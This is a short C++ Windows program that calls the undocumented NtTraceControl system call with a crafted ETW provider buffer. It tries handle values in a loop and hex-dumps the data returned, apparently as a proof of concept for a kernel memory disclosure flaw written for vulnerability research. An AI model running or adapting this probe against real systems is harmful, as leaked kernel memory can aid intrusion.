#include <Windows.h>
#include <winternl.h>
#include <cstdio>

extern "C"
NTSTATUS WINAPI NtTraceControl(
    DWORD Operation,
    LPVOID InputBuffer,
    DWORD InputSize,
    LPVOID OutputBuffer,
    DWORD OutputSize,
    LPDWORD BytesReturned);

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  BYTE data[] = "9\x00Microsoft.Windows.Kernel.KernelBase\x00\x13\x00\x01\x1asPO\xcf\x89\x82G\xb3\xe0\xdc\xe8\xc9\x04v\xba";
  struct {
    DWORD hevent;
    DWORD padding1;
    LPVOID data;
    DWORD padding2;
    USHORT data_size;
    USHORT padding3;
    DWORD padding4;
  } Input = {
    0, 0, data, 0, sizeof(data) - 1, 0, 0
  };
  BYTE Output[1024] = { /* zero padding */ };

  for (DWORD handle = 0x4; handle < 0x1000; handle += 4) {
    Input.hevent = handle;

    DWORD BytesReturned = 0;
    NTSTATUS ntst = NtTraceControl(30, &Input, sizeof(Input), Output, sizeof(Output), &BytesReturned);
    if (NT_SUCCESS(ntst)) {
      PrintHex(Output, BytesReturned);
      break;
    }
  }

  return 0;
}